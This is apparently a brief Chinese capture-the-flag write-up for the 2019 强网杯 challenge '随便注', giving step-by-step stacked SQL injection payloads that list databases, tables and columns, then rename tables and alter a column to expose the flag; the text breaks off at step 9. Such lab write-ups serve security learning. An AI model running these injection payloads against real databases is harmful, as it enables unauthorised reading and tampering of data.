题目来源: 强网杯 2019
题目描述: 随便注
题目场景: http://220.249.52.133:31334 (温馨提示:每次进入URL的端口号都不一样)
1、点击链接进入如下界面
2、‘1’—>提交
3、使用union select 爆字段 —>提交
4、1’;show databases;#—>提交
5、1’;show tables;#—>提交
6、1’;show columns from words;#(查询words表中所有列:)—>提交
7、1’;show columns from 1919810931114514
;# —>提交
8、1’;rename tables words
to words1
;rename tables 1919810931114514
to words
; alter table words
change flag
id
varchar(100);#—>提交
9、1